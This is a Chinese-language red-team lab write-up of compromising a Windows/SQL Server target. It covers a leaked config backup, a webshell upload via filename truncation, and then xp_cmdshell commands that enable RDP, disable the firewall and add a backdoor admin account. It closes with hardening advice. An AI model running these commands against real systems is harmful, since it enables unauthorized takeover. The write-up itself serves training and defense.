Windows Server + SQL Server 内网靶场安全演练全流程

合规前置声明

本文所有操作均在企业内部授权安全靶场完成,仅用于网络安全学习、运维风险自查、红蓝对抗技术研究。 严禁在未获得书面授权的情况下,对外部网站、服务器实施扫描、访问、渗透操作,违规操作将违反《中华人民共和国网络安全法》《刑法》相关条例,一切法律责任由操作者自行承担。

实验流程

1、端口扫描

拿到一个ip站点,先对其进行端口扫描,找到有两个端口1433和40987

2、目录扫描

通过nmap查看端口类型,得知1433为SQLserver服务,40987为http服务,对网页进行目录扫描

3、备份文件泄露

访问URI:/web.config.bak,下载得到备份文件,查看该文件得到数据库的账号密码

4、登录SQLServer

使用密码进行登录,可以查到网站的管理员账号和密码

5、文件上传

使用管理员账号进行登录,在文件上传界面进行尝试后发现后台使用白名单进行文件名过滤,只能上传jpg文件。通过页面的注意事项,构造一个长文件名并进行上传名为11shell3.aspx.jpg的webshell,在管理界面可以看到因为长度限制,文件名变为了639186142381868750-11shell3.aspx。

6、报错信息泄露文件路径

将文件的连接复制,打开后是下载文件的。在路径后的文件名改为不存在的文件名,使其报错,报错信息中存在文件存放路径

7、读历史备份文件

使用蚁剑连接文件,地址即为上述URL地址。连接后找到SQLserver的备份文件,其中包含了sa的账号和密码,sa账号是SQLserver中级别最高的账号,拥有执行系统命令的权限

8、开启 xp_cmdshell

SQLServer执行操作系统命令需要SQL Server的组件xp_cmdshell,该组件在SQL Server当中默认是不安装的,输入以下命令查询xp_cmdshell是否被安装

EXEC sp_configure 'xp_cmdshell';

如果没安装则会报错

The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.

此时可以使用以下命令进行安装

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

9、开启RDP服务

接着查询是否开启了RDP服务

EXEC xp_cmdshell 'netstat -ano | findstr 3389'

若没开启,使用以下命令开启

EXEC xp_cmdshell 'wmic rdtoggle where servername="%computername%" call setallowtsconnections 1'

10、关闭防火墙

查询防火墙服务状态

EXEC xp_cmdshell 'netsh firewall show opmode'

若没关闭,使用以下命令关闭

EXEC xp_cmdshell 'netsh firewall set opmode mode="disable"'

11、创建管理员用户

创建一个用户,并赋予其管理员权限

EXEC xp_cmdshell 'net user h1ck0r Admin@123 /add'

EXEC xp_cmdshell 'net localgroup administrators h1ck0r /add'

12、远程桌面登录

使用RDP进行登录,即拥有了管理员的权限,可查看C盘下的文件

演练风险总结与企业安全加固方案

1. 本次靶场暴露的安全缺陷

  1. 网站目录遗留.bak配置备份文件,明文泄露数据库账号密码;
  2. 文件上传仅做简单后缀白名单校验,未防护超长文件名截断漏洞;
  3. 生产环境开启.NET 调试模式,错误页面输出完整堆栈,泄露服务器物理路径;
  4. 业务配置文件留存 SA 超级账号明文,数据库权限划分不规范;
  5. SQL Server 未限制 SA 远程访问,高危存储过程xp_cmdshell可随意启用;
  6. 服务器防火墙、远程桌面未做源 IP 访问限制,存在横向接管风险。

2. 生产环境标准化加固建议

  1. 清理站点所有.bak/.sql/.txt备份文件,禁止将开发配置文件部署至生产环境;
  2. 文件上传增加多层校验:文件头部二进制校验、后端二次后缀校验、上传文件随机重命名存储、限制文件名最大长度;
  3. 线上环境关闭compilation debug="true",统一自定义错误页面,屏蔽程序堆栈报错信息;
  4. 业务系统禁止使用 SA 账号连接数据库,创建低权限业务专用账号,密码采用不可逆加密存储;
  5. SQL Server 非必要永久关闭xp_cmdshellxp_regread等高危存储过程,限制 SA 账号远程登录;
  6. 服务器防火墙限制 1433、3389 等高危端口,仅放行内网可信 IP 段;
  7. 定期自动化扫描站点敏感备份文件、弱口令、未授权上传接口、高危开放端口。